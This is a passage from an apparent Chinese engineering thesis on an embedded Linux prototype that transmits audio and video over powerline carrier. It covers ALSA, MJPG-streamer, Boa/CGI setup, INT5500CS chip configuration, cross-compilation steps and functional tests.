2.3 音频采集与编解码模块2.3.1 音频采集与编码方案设计该部分设计需要实现音频数据的实时有效传输,发送端首先将拾音器采集到音频数据进行ADPCM编码,编码后的数字语音信号按RTP/UDP/IP等相关协议进行网络组包并将数据发送到局域网,接收方将接收到的语音信号实时解码播放。方案设计如图2-7所示:图2-7 音频采集与编码方案2.3.2 音频编程接口选择Linux系统为用户操作音频设备提供了统一的编程接口,在Linux系统中,先后出现了两种音频框架:OSS(Open Sound System)和ALSA(Advanced Linux Sound Architecture)。OSS可移植性好,但具有声卡独占问题,闭源;ALSA具有声卡共享的特性,兼容OSS接口,开源。2.6版本的Linux内核用ALSA代替了OSS。但为了兼容以前的程序,ALSA提供OSS模拟。综上所述,ALSA接口优点明显同时由于本次设计系统版本不支持OSS接口,因此采用ALSA接口。2.4 电力线载波通信模块2.4.1 电力线载波通信方案设计编码后的音视频数据首先经过调制进入电力线通信网络,接收端解调后传输至终端。方案设计如图2-8所示:图2-8 电力线载波通信方案2.4.2 调制解调芯片选择 由于音视频数据量较大,使用FSK调制和扩频技术都不能满足要求,下面仅对OFDM调制芯片做对比选择,如表2-1所示:表2-1 芯片对比公司名称芯片芯片速率执行标准Intellon(目前已被高通收购)INT520014MbpsHomePlug1.0INT550085MbpsHomePlug1.0+INT6000200MbpsHomePlug1.0 AVMaximMAX298614MbpsHomePlug1.0Qualcomm AtherosQCA6410200MbpsHomePlug1.0 AV图像采集以320*240个像素点,每个像素点16位,每秒20帧为例,传输带宽大概需要23Mbit/s,设定本次设计压缩比为10:1,则视频传输所需带宽为2.3Mbit/s;语音采集以44KHz采样频率,每个采样点16位为例,传输带宽需要704Kbit/s。从通信速率角度来看以上芯片都可以满足本次设计要求,但考虑到电力线网络的复杂性且考虑到PLC通信芯片的传输距离与通信速率成反比关系,折中选择INT5500芯片。2.5 嵌入式平台介绍及环境搭建2.5.1 硬件平台介绍本次样机设计核心处理器选用三星公司的32位RISC微处理器S5PV210,该处理器基于ARMv7架构,CPU采用Cortex-A8内核,芯片运行主频高达1GHz。该芯片的组成如图2-9所示:图2-9 S5PV210结构框图网卡采用以太网芯片LAN9220设计,该芯片具有支持10/100Mbps、小型化、电压从1.8V到3.3V可变和CPU开销小等特点。该芯片支持内存缓冲同时具有与SRAM类似的高性能从接口,并且集成以太网数据链路层和物理层接口。LAN9220芯片连接电路如图2-10所示:图2-10 LAN9220连接电路图声卡采用支持AC97接口的WM9713芯片,该芯片内部集成AD、DA控制器和触摸屏处理的部分功能,芯片通过内部有64个寄存器进行配置。WM9713芯片连接电路如图2-11所示:图2-11 WM9713连接电路图2.5.2 平台软件环境搭建安装交叉编译器:建立目录mkdir –p/usr/local/arm解压源码tar jxvf arm-linux-gcc-4.3.2.bz2–C /usr/local/arm修改环境变量sudo vim ~/.bashrc (打开脚本并在最后加入下面这行)exportPATH=/usr/local/arm/4.3.2/bin:$PATHsource ~/.bashrc (重新启动脚本使环境变量设置立即生效)配置编译u-boot:解压源码tar zxvf unsp210_u-boot.tar.gz进入解压后的文件目录中cd unsp210_u-boot编译前清除旧的配置文件make distclean生成新的配置文件make unsp210_config编译生成u-boot 可执行文件make在当前目录下会生成一个u-boot.bin 的文件将tools 目录下生成的mkimage 文件拷贝到/bin 目录中,后面用于制作u-boot 所需格式的内核cp u-boot/tools/mkimage /bin配置编译内核:解压源码tar zxvf unsp210_linux_2.6.35.tar.gz进入解压后的文件目录cd unsp210_linux_2.6.35清除旧的内核配置文件make distclean重命名内核配置文件cp config_sunplusedu_20130604 .config配置内核make menuconfig生成内核镜像文件make 或make zImage在/arch/arm/boot 下会生成zImage 文件yaffs 根文件系统的制作:yaffs 格式的根文件系统是可读可写的文件系统,没有经过压缩解压源码tar zxvf rootfs_gtk.tar.gz给mkyaffs2image 添加可执行权限chmod +x mkyaffs2image拷贝mkyaffs2image 文件到/bin 下sudo cp mkyaffs2image /bin生成根文件系统镜像mkyaffs2image rootfs rootfs.yaffs镜像烧写方法首先确保网线连接正确,电源线,串口线接触良好;上电使用开发板平台进入U-boot 命令行模式;输入命令:print 会有下面的提示信息:根据PC机IP对开发平台进行IP设置"serverip(windows'sIP)" and "ipaddr(开发平台的IP)";分别使用的命令是:setenv serverip172.20.223.XX(windows IP) 或10.221.X.XX(windows IP)setenv ipaddr 172.20.223.XX(开发板的IP)或10.221.X.XX(开发板的IP)保存刚才对硬件平台的设置:使用命令进行设置:saveenv;使用ping 命令查看PC机和A8平台的网络是否连通:(可在开发板上ping PC 机);ping ..*.(windows 的IP 地址)打开PC机端tftp服务器tftpd32.exe 文件,并将编译好的u-boot、内核镜像和文件系统拷贝到tftp服务器目录;然后输入命令:update 会有下面的提示信息:10.如果烧写U-boot,可以输入命令:update boot u-boot.bin如果烧写kernel,可以输入命令:update kernel zImage如果烧写rootfs,可以输入命令:update yaffs rootfs.yaffs如果烧写三个镜像,可以输入命令:updateimage2.6 本章小结本章主要对系统实现方案进行了论证和选择,在视频编码部分主要对硬件和软件压缩的优缺点进行了比较和论证;在音频编码部分主要对相关协议接口进行了选择和论证;在电力线载波通信部分对相关芯片进行了比较和选择。最后详细介绍了嵌入式软件环境搭建的相关内容,本章确定了课题各模块的总体设计方案。3 视频采集与编解码设计3.1 视频模块系统设计3.1.1 视频概述视频是连续渐变的静态图像沿时间轴依次更换显示而形成的画面。根据视觉暂留原理,图像帧率变化超过24次/s时,人眼将无法辨别单幅的静态画面,此时就会产生平滑连续的视觉效果。其中帧率是指每秒播放静态画面的数量,单位是fps,帧率越高视频也会越流畅、越逼真,典型的帧率为24fps。3.1.2 V4L2标准编程框架目前,V4L2已经成为Linux内核中音视频的标准编程框架。通过V4L2编程框架,内核为应用程序提供了访问音、视频设备的统一接口。V4L2支持多种设备,其主要用于音频的采集,视频的输入及输出。在Linux中,一切设备都可以通过文件的方式来操作,而通过V4L2标准接口操作视频设备文件,如标准USB摄像头,就可以实现对硬件视频采集设备的访问和读写操作。V4L2编程步骤:1) 打开图像采集设备(open);2) 设置图像采集设备的相关参数(ioctl);3) 读图像采集设备(read、ioctl);4) 关闭图像采集设备(close)。3.1.3 视频模块系统框图视频采集模块涉及到图像采集、流媒体服务器、Boa服务器和网页终端设计相关内容。该模块具体工作过程如下:首先Boa服务器得到浏览器请求的密码验证信息并将该信息传递给CGI处理程序,CGI程序验证信息正确后回送信息实现监控页面跳转登录,然后流媒体服务器将USB摄像头采集到的图像数据进行编码处理后发送到客户端浏览器实时显示。视频模块系统框图如图3-1所示:图3-1 视频模块系统框图3.2 MJPG-streamer视频流服务器该开源视频流服务器可以从标准USB摄像头获取图像,并将图像数据编码后传输到终端显示。此服务器适合应用于基于IP协议的网络中,从摄像机中获取图像,并将编码后生成的JPEG格式的图像发送至终端浏览器播放显示,例如Firefox浏览器。该服务器来源于uvc_streamer,是专为在CPU和RAM上存在资源限制的嵌入式设备而开发的,兼容Linux-uvc的摄像机可以直接生成JPEG数据。该视频流服务器使用C语言进行开发,源代码结构清晰,采用模块化的设计方法,支持不同的硬件平台。用户可以根据产品需求,自行添加修改或选择所需模块。该视频流服务器最主要的组件是输入和输出组件,MJPG-streamer组件体系结构如图3-2所示:图3-2 MJPG-streamer组件体系结构图3.3 MJPG-streamer的移植3.3.1 JPEG库移植MJPG-streamer的移植需要jpeg库,因此首先移植jpeg库。1)解压源码包tar xvf jpegsrc.v8c.tar.gz2)配置源码./configure--prefix=/home/edu/share/video/jpeg --host=arm-linuxcd jpeg-8c3)编译和安装makemake install4)拷贝库到A8平台根文件系统中cp /home/edu/share/video/jpeg/lib/libjpeg.so.* /lib -rfa3.3.2 MJPG-streamer移植1)解压源码包tar xvf mjpg-streamer-r63.tar.gz2)修改源码cd mjpg-streamer-r63修改plugins/input_uvc/Makfile修改CFLAGS +=-O2 -DLINUX -D_GNU_SOURCE -Wall -shared -fPIC为CFLAGS += -O2 -DLINUX -D_GNU_SOURCE -Wall -shared -fPIC-I/home/edu/share/video/jpeg/include修改$(CC)$(CFLAGS) -ljpeg -o $@ input_ uvc.c v4l2uvc.lo jpeg_utils.lo dynctrl.lo为$(CC)$(CFLAGS) -ljpeg -L/home/edu/share/jpeg/lib -o $@ input_uvc.c v4l2uvc.lojpeg_utils.lodynctrl.lo3)编译make CC=arm-linux-gcc4)复制应用程序和库到A8平台根文件系统中mkdir /usr/mjpg-streamercp *.so /usr/mjpg-streamer/ -rfacp mjpg-streamer /usr/mjpg-streamer/cp www /usr/mjpg-streamer/ -rf5)进入MJPG-streamer目录在开发板运行注:必须先插入usb摄像头./mjpg_streamer -i "./input_uvc.so -y -r 320*480" -o "./output_http.so-w ./www"默认端口8080,默认设备/dev/video0,必须设置输出分辨率Input_screen.so6)在源码目录下有start.sh,这个脚本里有一些MJPG-streamer的使用方法及说明,可以执行start.sh脚本运行视频服务器,首先注释掉所有行,然后添加以下几行:export LD_LIBRARY_PATH="$(pwd)"WEBSERVER=.$WEBSERVER/mjpg_streamer-o "$WEBSERVER/output_http.so -p8000 -w$WEBSERVER/www" -i"$WEBSERVER/input_uvc.so -y -r 320*480 -d /dev/video0"3.4 MJPG-streamer主程序处理流程主程序流程如图3-3所示:图3-3 MJPG-streamer主程序流程图3.5 视频服务器登陆设计3.5.1 Boa服务器概述Boa是一款可以运行在Linux下的服务器,具有源代码开放、小巧高效的特点。该服务器适合于对资源限制较高的嵌入式系统,作为一款单任务web服务器,Boa只能依次完成用户请求,但它可以为CGI程序创建进程来实现连接请求,通过这种方式可以较大节省系统资源。3.5.2 Boa服务器功能Boa服务器可以为网页终端提供数据交互,Boa的工作流程主要包括:1.由于Boa是一款基于TCP/IP协议的服务器,因此首先需要创建TCP网络套接字、绑定端口、启动侦听等过程,同时也需要对一些环境变量进行相应的初始化,之后循环等待接收客户端的连接请求;2、客户端浏览器发出连接请求,Boa网络服务器接收到请求;3、服务器通过CGI程序分析客户端请求,同时根据请求做出相应的处理,并向客户端发送相应的响应信息;4、完成客户端和服务器的数据交互,关闭相应的TCP套接字连接,释放相关资源。Boa服务器根据客户端请求方法的不同,做出不同的响应:1、当服务器检测到客户端浏览器的请求方法为HEAD时,则Boa服务器直接向客户端返回响应首部;2、当服务器检测到客户端浏览器的请求方法为GET时,则Boa服务器首先返回响应首部, 之后将读出的URL文件信息发送给浏览器;3、当服务器检测到客户端浏览器请求方法为POST时,则通过CGI程序处理Boa服务器接收到的表单信息,处理完表单信息后再通过Boa服务器将相关信息传送至浏览器,Boa服务器实现的过程和TCP/IP协议一致。3.5.3 Boa服务器移植1、编译boa程序(1) tar zxvf boa-0.94.13-src.tar.gz 解压(2) cd boa-0.94.13-src(3) cd ./src(4) ./configure(5) make clean(6) make2、修改配置文件boa.conf(1) 建立boa.conf目录, 并复制boa.conf到建立的目录下(2) 进入存放boa.conf的目录并修改其中的boa.conf文件(3) 修改Usernobody 为 User 0 ; 修改Groupnogroup 为 Group 0(4) 修改ErrorLog选项和AccessLog选项为:ErrorLog /home/boa/log/error_logAccessLog /home/boa/log/access_log(5) 设置html文件目录:DocumentRoot /home/boa/www(6) 设置默认首页:DirectoryIndex homepage.html(7) 设置ScriptAlias选项为:ScriptAlias /cgi-bin/ /home/boa/www/cgi-bin/3、修改Makefile文件:将:CC = gccCPP = gcc -E 改为:CC = arm-linux-gccCPP = arm-linux-gcc -EMake clean;make即可。4、拷贝PC上/etc/mime.types文件到设置好的mime.types文件目录下3.5.4 CGI简介1)CGI概述CGI可以处理浏览器的输入请求,本设计中CGI程序运行在Boa服务器上,服务器将接收到的客户端请求传送给CGI程序进行处理,处理结束后,CGI程序又通过服务器将相关信息返回给客户端。CGI简单地讲是个运行在Web服务器上的程序,由浏览器的输入触发。 这个程序在客户端浏览器、服务器端其他应用程序和Boa服务器之间起到桥梁作用。 网络上很多工具例如搜索引擎、留言板、BBS等都是CGI程序。CGI是用来沟通HTML表单和服务器端程序的接口(interface)。如果一种语言支持标准输入和输出,可以设置环境变量,就可以实现CGI程序。2)CGI处理步骤1、通过Internet把用户请求送到服务器。2、服务器接收用户请求并交给CGI程序处理。3、CGI程序把处理结果传送给服务器。4、服务器把结果送回到用户。3)编写CGIC语言具有标准输入和输出,并且可以设置环境变量,因此本次设计可以使用C语言来实现CGI程序。1、CGI程序的输出:类似于Linux编程中的描述符重定向,本设计使用C语言编写的CGI程序的标准输出重定向到了客户端浏览器,因此在Boa服务器终端上不会输出任何内容。当Boa服务器接收到客户端请求时,CGI通过标准输出返回的信息就会直接显示在网页上,这也是CGI程序的一个基本原理。2、CGI程序第一行输出的内容必须指定Content-Type如: "Content-Type:text/html",这个输出作为HTML的文件头。Boa服务器通过CGI向客户端传送文件时需要说明文件类型,CGI可以向客户端浏览器输出的类型包括:普通文本、HTML文本、图像和声音数据信息。 3、两个重要的CGI环境变量QUERY-STRING:GET方法。用来获得表单输入的数据。CONTENT-LENGTH:POST方法。用来获得输入数据的字节数。3.5.5 HTML简介1)HTML概述1、HTML是用来描述网页的语言;2、HTML是指超文本标记语言;3、HTML属于标记语言;4、标记语言是一套标记标签(markup tag);5、HTML使用标记标签来描述网页。2)HTML标签1、HTML标签是由尖括号包围的关键词,比如2、HTML标签是通常是成对出现的比如3、标签中的第一个标签是开始标签,第二个标签是结束标签4、开始和结束标签也被成为开放标签和闭合标签3)HTML文件1、HTML文件 = 网页,HTML文档被称为网页2、HTML文件描述网页3、HTML文件包含HTML标签和纯文本本次设计中浏览器通过标签解释Boa服务器传送的HTML文件,然后在网页上显示HTML内容。4)文件构成元素1、文本2、图像3、超链接超链接是网站的灵魂,是从一个网站指向另一个目的端的链接。4、表格表格是网页排版的灵魂,通过表格可以精确地控制各网页元素在网页中的位置。5、表单表单是用来搜集站点访问者的域集。站点访问者填写表单的方式是输入文本、单击单选按钮与复选框,以及从下拉菜单中选择选项等,表单数据会使用相应的程序进行处理。6、GIF动画动画是网页上最活跃的元素,通常制作优秀、创意出众的动画是吸引浏览者的最有效的方法。不过现在的网页往往不是缺乏动画,而是太多动画让人眼花潦乱,无心细看。7、Flash动画8、框架框架是网页的一种组织形式,将相互关联的多个网页的内容组织在一个浏览器窗口中显示。3.5.6 JavaScript简介JavaScript是一种基于对象的脚本语言,该脚本语言通过客户端浏览器内部的解释器解析为可执行格式,具有简单性、跨平台性、面向对象和动态性的特点。JavaScript脚本被设计用来向HTML 页面添加交互行为,是一种脚本语言(脚本语言是一种轻量级的编程语言),由数行可执行计算机代码组成,可以在HTML代码中实现。JavaScript在网页中使用有三种形式:4、直接在网页中添加脚本:;5、在script中插入脚本://在这里编写JavaScript代码6、链接脚本本件:3.6 本章小结本章对视频采集与编解码进行了详细介绍,首先对视频基础知识作了简要介绍,然后详细介绍了视频流服务器和Boa服务器的搭建相关工作。由于本次设计图像数据直接在浏览器上进行显示,因此在章节最后对网页设计相关内容进行了详细介绍。 4 音频采集与编解码设计4.1 音频传输协议介绍本次设计需要将环境中采集到的语音数据传输到终端进行实时播放,虽然TCP协议能够确保IP数据的正确性,但TCP协议具有以下缺点:启动时需要“三次握手”建立连接、结束时需要“四次挥手”结束连接;当检测到数据出错或数据包丢失时,TCP将启动重传机制或拥塞控制机制;TCP报文头不能提供时间戳和编解码信息。因此,TCP/IP协议栈不适合实时语音数据传输。UDP协议取消了重传机制,是一种面向无连接的数据包方式,但UDP协议传输数据容易丢包,因此需要结合RTP与RTCP协议保证通信的正确性和实时性。流媒体传输协议RTP需要和RTCP协议配合使用才能保证数据的实时可靠传输。在RTP数据传输过程中,需要周期性传送RTCP包来保证传输质量,本设计中,每传输100个RTP包发送一次RTCP包。RTCP中包含相应控制验证信息和数据包的数量信息等,服务器或客户端可以根据RTCP包数据信息来动态控制传输速率。RTP与RTCP在网络层次中的位置如4-1图所示:图4-1 RTP与RTCP在网络层次中位置4.2 音频基础介绍数字语音设计中涉及到以下技术指标,即音频三要素:采样频率、采样位数和声道数。采样频率是指数字化时数据每秒的采样次数,根据采样定理,本设计采样频率设为44.1kHz;每个采样点幅度数据的二进制位数就是采样位数,本设计采样位数为16位;声道数是指录音或放音时硬件线路的数量,声道分为双声道和单声道,从人的主观感知上来说,双声道的音质和音色要优于单声道,但占用存储空间是单声道的二倍。声卡有一个硬件缓存区来保存记录下来的样本数据。音频采集过程中,当缓存区满时,声卡将产生一个中断,声卡驱动使用DMA将样本数据快速传送到应用程序缓存区;音频播放时,程序使用DMA将相应的缓存区数据传送到声卡的硬件缓存区中。周期和帧:一个周期(period)存储一些帧(frames)。每一帧包含时间上一个点所抓取的样本。对于立体声设备,一个帧会包含两个信道上的样本。一个缓存区分解成周期,然后是帧,最后是样本。数据关系如图4-2所示:图4-2 帧、周期和样本关系图音频ALSA接口设备文件为:/dev/snd/pcmC0D0c 用于录音的pcm0设备,/dev/snd/pcmC0D1c 用于录音的pcm1设备,/dev/snd/pcmC0D0p 用于播放的pcm0设备,/dev/snd/pcmC0D1p 用于播放的pcm1设备,/dev/snd/controlC0 用于声卡的控制,/dev/snd/timer定时器。音频alsa-lib是Linux的标准函数库,alsa-lib通过系统调用与内核进行数据交互。编程过程如下:1、打开录音或回放接口,获得PCM句柄:snd_pcm_open(&pcm_handle,"default", stream, 0);pcm_handle:音频设备句柄stream取值:回放:SND_PCM_STREAM_PLAYBACK录音:SND_PCM_STREAM_CAPTURE2、设置硬件参数,如采样位数,信道数和采样率://以声卡默认参数初始化params结构体snd_pcm_hw_params_any(pcm_handle, params);//设置数据布局格式snd_pcm_hw_params_set_access(pcm_handle,params,SND_PCM_ACCESS_RW_INTERLEAVED);//设置采样率snd_pcm_hw_params_set_rate_near(pcm_handle,params,&sample_rate, &dir);//采样位数snd_pcm_hw_params_set_format(pcm_handle,params,SND_PCM_FORMAT_S16_LE);//通道数snd_pcm_hw_params_set_channels(pcm_handle,params,channels);//设定每周期获取数据帧数snd_pcm_hw_params_set_period_size_near(pcm_handle,params, period, &dir);ALSA接口结构框图如图4-3所示:图4-3 ALSA接口结构框图alsa_lib和utils的移植移植alsa接口需要做以下几方面的工作1、内核支持;2、alsa_lib移植;3、untils是工具集合,可以移植使用;4、asound移植。alsa_lib库的移植:1、配置环境变量:exportPREFIX=/usr/lib/alsa_libmkdir$PREFIX2、解压并进入文件:tar xvfalsa-lib-1.0.27.2.tar.bz2cdalsa-lib-1.0.27.23、配置编译:./configure--host=arm-linux --prefix=$PREFIX --with-configdir=/etc/alsa/--with-plugindir=/usr/lib/alsa_lib --disable-pythonmakesudo -sexportPATH=/usr/local/arm/4.3.2/bin:$PATH4、安装:makeinstall5、移植到A8硬件平台:将"/etc/alsa/"和"/usr/lib/alsa_lib"拷贝到A8平台相应目录下,设置额外链接库的路径:exportLD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/alsa/alsa_lib/lib6、配置内核以支持alsa接口:7、建立音频接口链接:mkdir /dev/sndln -s/dev/pcmC0D0c /dev/snd/pcmC0D0cln -s /dev/pcmC0D1c /dev/snd/pcmC0D1cln -s/dev/pcmC0D0p /dev/snd/pcmC0D0pln -s/dev/pcmC0D1p /dev/snd/pcmC0D1pln -s/dev/controlC0 /dev/snd/controlC0ln -s/dev/timer /dev/snd/timer工具集utils的移植:1、解压源码:tar xvfalsa-utils-1.0.27.2.tar.bz22、配置编译:cdalsa-utils-1.0.27.2./configure--host=arm-linux --prefix=$PREFIX --with-alsa-inc-prefix=$PREFIX/include --with-alsa-prefix=$PREFIX/lib --disable-alsamixer --disable-xmltomakesudo –s3、安装:makeinstall4、A8硬件平台设置:修改A8平台环境变量,LD_LIBRARY_PATH库的额外链接路径,PATH可执行程序自动搜寻路径,注意根据自己的库还有可执行的aplay在开发板的路径去设置exportPATH=$PATH:/usr/local/arm/gtk_dfb/sbin:/usr/alsa/alsa_lib/lib/binaplay 文件名4.3 音频传输系统设计4.3.1 音频模块系统框图系统要实现两个不同硬件平台的实时语音通信,采用多线程技术实现语音的采集、传输和播放。语音采集端,线程将拾音器采集到的数据编码和组包后发送到PLC网络;语音接收端使用一个线程实时接收音频流并记录相应的RTCP反馈信息,另一个线程定时从相应缓冲区中提取数据并解码播放。具体实现框图如图4-4所示:图4-4 音频传输系统框图4.3.1 音频缓存区设计由于语音传输过程中会发生抖动,因此需要定义语音缓存。为了提高语音传输的实时性,发送端需要将语音缓存中的数据及时发送到网络中,由于UDP协议以太网数据包中最大存储数据1472字节,因此缓冲区需小于1472字节,本次设计缓冲区采用640字节。4.4 本章小结本章对音频采集与编解码进行了详细介绍,首先对音频和流媒体等基础知识作了简要介绍,然后详细介绍了ALSA接口库文件移植以及编程步骤,最后详细介绍了音频编解码模块代码设计流程以及数据传输过程。 5 电力线载波通信设计5.1 电力线通信技术概述电力载波通信是应用于电力系统的一种通信方式,将载有信息的射频信号以电流的形式加载到电力线上进行传输。正交频分复用技术,即OFDM技术,采用不连续的多音调制技术,具有较强的抗干扰能力。作为一种多载波调制技术,OFDM技术可以将数据转化为相互独立的子数据流进行传输,可以更好的适应复杂的电力线通信环境。OFDM在PLC应用中有许多优势:抗多径时延、抗频率选择性衰落、传输速率高、频带利用率高和均衡技术简单等优点。本次设计的PLC网络使用HomePlug协议标准,该协议是由家庭插电联盟制定的网络通信协议标准,HomePlug协议具有以下主要特点:物理层协议和数据链路层协议紧密结合;物理层数据速率约为14Mbps;在线性条件下,发送器动态调节适配速率;采用OFDM技术;载波屏蔽并与其它电力线业务兼容,符合国际规范;MAC自动重发请求,保证可靠性;采用CSMA/CA技术,保证优先帧有序发送;具有MII兼容的可选接口。本次设计采用的HomePlug协议使用HomePlugMAC管理入口协议MME,该协议出现在INT5500CS的任意数据帧处理的过程中。5.2 电力载波通信系统设计本系统以INT5500CS芯片为核心进行设计,在数据采集端,摄像头或拾音器采集到的数据经过编码后通过以太网芯片的MII接口将发送至INT5500CS芯片,经过OFDM调制后由模拟前端芯片INT1200将数据耦合到电力线传输线路;在数据接收端,模拟前端耦合得到电力线上的射频信号并将数据传送至INT5500CS芯片解调,之后,音视频数据又通过以太网芯片传输到PC机解码显示或播放。通信系统框图如图5-1所示:图5-1 电力线载波通信系统框图本次电力线调制解调芯片采用Intellon公司的INT5500CS芯片,该芯片内核运行在1.8V,I/O口运行在3.3V,100引脚LQFP封装,Intellon公司通过提供可以和INT5500无缝连接的模拟前端芯片INT1200,实现了一个完整的电力线载波通信解决方案。该芯片具有以下特点:集成MII接口的单芯片电力线网络收发器,在电力线上高达85Mbps的数据传输速率,可以直接和英特龙模拟前端芯片INT1200连接,兼容协议HomePlug 1.0,支持QAM 256/64/16,DQPSK,DBPSK和ROBO调制方案,低功耗,在干扰环境下高可靠性的具有专利的信号处理技术:正交频分复用(OFDM),在恶劣信道条件下,智能信道适应吞吐量最大化,集成的服务质量特性(QoS),56位DES加密并具有安全电力线通信的密钥管理。INT5500CS引脚图如图5-2所示:图5-2 INT5500CS引脚图在主机配置模式下,INT5500的固件和配置在启动时通过外部主机下载到INT5500内;在独立的启动模式下,INT5500的固件和配置在启动时通过读外部串行闪存加载到INT5500内。INT5500CS芯片可以通过两种工作模式启动,一种是Host/DTE模式,在此模式下该芯片类似以太网的数据链路层芯片,通过标准MII接口与以太网物理层芯片连接;另一种是PHY模式,在此模式下该芯片类似以太网的物理层芯片,通过标准MII接口与以太网数据链路层芯片连接。MII接口包括一个数据和管理接口,数据接口用于INT5500CS与具有MII标准接口的以太网芯片传输数据,管理接口允许INT5500CS控制和监控以太网物理层芯片。MII接口传输和接收数据由四位组成,INT5500CS接收以太网PHY层的一个同步时钟,则MAC和PHY层传输一次四位数据,MII接口时序如图5-3所示:图5-3 MII接口时序图INT5500CS芯片必须与模拟前端芯片INT1200配合才能使用,通过AFE接口相互连接,INT1200内部集成ADC和DAC控制器,同时可以调节开关增益放大器的放大倍数,连接框图如图5-4所示:图5-4 INT5500CS与INT1200连接框图模拟前端接口时序如图5-5所示:图5-5 模拟前端接口时序图INT5500CS芯片包含两个内部存储块,分别是位于地址0x00010000处的128K字节的应用程序RAM和位于地址0x80000000处的96K字节的包缓冲。未被压缩的固件映像位于应用程序RAM中并且也在该RAM中运行,而包缓冲是一个输入输出数据的缓冲队列。INT5500内存的变更取决于它是否正在运行一个加载程序或MAC映像。当运行一个加载程序时,启动ROM位于地址0x00000000,应用程序RAM位于0x00010000;当运行一个MAC映像时,应用程序RAM位于地址0x00000000,包缓冲总是位于0x80000000。具体内存映射如图5-6所示:图5-6 数据存储映射图5.3 通信模块设计5.3.1 INT5500CS工作模式选择INT5500CS芯片工作模式的选择是通过外部引脚的高低电平来配置的。为了驱动模拟前端的AFE接口,ASC_EN引脚必须设为低电平;模式选择引脚设为低电平用于连接以太网PHY层芯片;时钟频率设为50MHz,即将ASC_CLK引脚拉低;选择从FLASH启动方式,INT5500需要一个1Mbit的串行闪存,该FLASH采用INT5500CS数据手册中指定的串行FLASH芯片来存储MAC地址和默认用户秘钥信息,并且这个串行设备只能是ST Micro STM25P10-A,一旦该闪存被初始化,非易失MME可以取出闪存中参数信息,该芯片通过标准SPI接口与INT5500CS芯片连接。具体配置如下表5-1所示:表5-1引脚配置管脚功能电平设置ASC_EN保留低电平设置为低ASC_DATA/MODE模式低电平Host/DTE模式高电平PHY模式ASC_CLK保留低电平设置为低ASC_PWRDWN/MAC_CLK时钟速度低电平50MHz高电平75MHzGPIO_6启动方式低电平FLASH启动高电平主机启动5.3.2 以太网模块设计为了和以太网接口RJ45连接,需要使用以太网控制芯片,本次设计采用美国Broadcom公司的AC101L芯片。该芯片是一款低功耗的10/100M物理层收发芯片,AC101L需要3.3V和2.5V两种电压,该芯片引脚如图5-7所示:图5-7 AC101L引脚图由于模式选择引脚设置为低电平,则INT5500CS芯片工作在主机模式下,类似于以太网的数据链路层芯片,与AC101L的连接图如下所示:图5-7 INT5500CS与AC101L连接图5.3.3 用户接口协议HomePlug MAC 管理入口MME出现在INT5500的任意帧处理过程中,INT5500CS芯片利用MAC管理在HomePlug 1.0.1规格书中指定帧格式。远程应答MME工作过程如下:PTS发送一个数据帧到本地INT5500,包含设置远端站地址的DA,设置PTS地址的SA。附加MME的网络密钥,其EKS设为0,并且EK设置远程站DEK,远程应答MME和应答帧;PTS的INT5500远程连接附加MME密钥,使用指定的EKS和EK加密结果帧并将帧数据发送到电力线上;远程INT5500从电力线上收到相应数据帧,数据是被远程主机的DEK加密的;通过INT5500返回一个远程应答MME到PTS,远程主机应答;DUT INT5500转寄远程应答MME到电力线上,并使用NEK加密;PTS INT5500收到远程应答MME并且转寄它到PTS;远程主机发送封装应答帧到远程INT5500;DUT INT5500正常执行应答帧,如果需要转寄数据帧到电力线上;远程主机重复转寄远程应答MME上的数据帧;10.DUT INT5500继续正常重复执行应答帧;11.远程主机向DUT INT5500发送第二个应答帧;12.DUT INT5500执行第二个应答帧。13.重复11和12步骤,直到远程主机发送最后重复应答帧。14.DUT INT5500执行最后应答帧。数据传送过程如图5-8所示:图5-8 数据传送过程图5.4 本章小结本章对电力线载波通信模块的实现进行了详细介绍,首先对OFDM调制技术作了简要介绍,然后详细介绍了INT5500CS芯片的内部资源以及工作模式配置和编程协议接口相关内容,同时本章也对外围关键芯片做了简要介绍。 6 样机系统功能测试6.1 系统测试准备本设计主要分为音频、视频和电力线载波通信三部分,下面分别对各功能测试所需工具软件作简要介绍。6.1.1 音频测试所需工具:嵌入式A8硬件样机平台、拾音器、win7端Linux操作系统和网线;软件环境:搭建好的嵌入式Linux软件环境,A8硬件平台和PC端Linux需要安装ALSA接口库文件,支持声卡驱动。6.1.2 视频测试所需工具:嵌入式A8硬件样机平台、USB摄像头、win7端浏览器和网线;软件环境:主机端搭建好的嵌入式Linux软件环境,配置安装视频流服务器和Boa服务器,支持USB摄像头驱动;6.1.2 电力线载波通信测试所需工具:INT5500CS调制解调器硬件平台、插排、PC机、嵌入式A8硬件样机平台和网线;软件环境:PC端需要安装Intellon公司的PowerPacket Utility软件测试数据传输速率和通信质量相关信息。准备好以上软硬件环境就可以对本设计各模块进行功能测试。6.2 系统测试下面分别对音频、视频和电力线载波通信模块进行功能测试:6.2.1 音频功能测试使用网线和串口线连接A8样机平台和PC机,同时打开串口终端以便通过命令控制A8平台,将PC端IP地址和A8平台IP地址设在同一网段。通过串口命令进入A8平台相应文件目录,在命令行输入./arm -h 10.220.1.114(目的IP) –l,目的IP地址为PC端虚拟机中Linux操作系统的IP地址。进入PC端Linu操作系统相应目录,在命令行输入./x86 -l -h 10.220.1.123(目的ip),目的IP为A8平台Linux操作系统的IP地址。运行结果如图6-1和6-2所示:图6-1 PC端运行结果图6-1 A8平台运行结果将手机放在A8硬件平台附近并播放歌曲,在PC端(可以戴上耳机)就可以听到清晰的歌声;由于本次设计可以实现全双工通信,将手机放在PC机附近,也可以在A8平台听到清晰的歌声。通过测试,音频方案完全满足设计要求。6.2.2 视频功能测试使用网线和串口线连接A8样机平台和PC机,同时打开串口终端以便通过命令控制A8平台,将PC端IP地址和A8平台IP地址设在同一网段。通过串口命令进入A8平台相应文件目录,首先在命令行输入kill -9 76关闭系统自启动的Boa服务器,之后在命令行输入./image.sh运行shell脚本文件,此时视频流服务器和Boa服务器启动;打开PC机上的谷歌浏览器,在网址窗口输入服务器IP地址10.220.1.123,即为A8平台Linux操作系统的IP地址,点击回车后进入视频登陆界面,如图6-3所示:图6-3 视频登陆界面在用户窗口输入root,密码窗口输入111111,点击登陆后进入选择登陆界面,如图6-4所示:图6-4 选择登陆界面点击图像采集后进入视频显示终端页面,如图6-5所示:图6-5 视频实时显示页面通过测试,视频方案完全满足设计要求。6.2.3 电力线载波通信功能测试使用网线将调制解调器1与PC机连接,将调制解调器2与A8平台连接,同时将两个调制解调器插接在同一个插座上并打开PC端的PowerPacket Utility软件。稳定后可以观察到两个调制解调器的三个指示灯全亮,表示两个硬件通信正常,点击PowerPacket 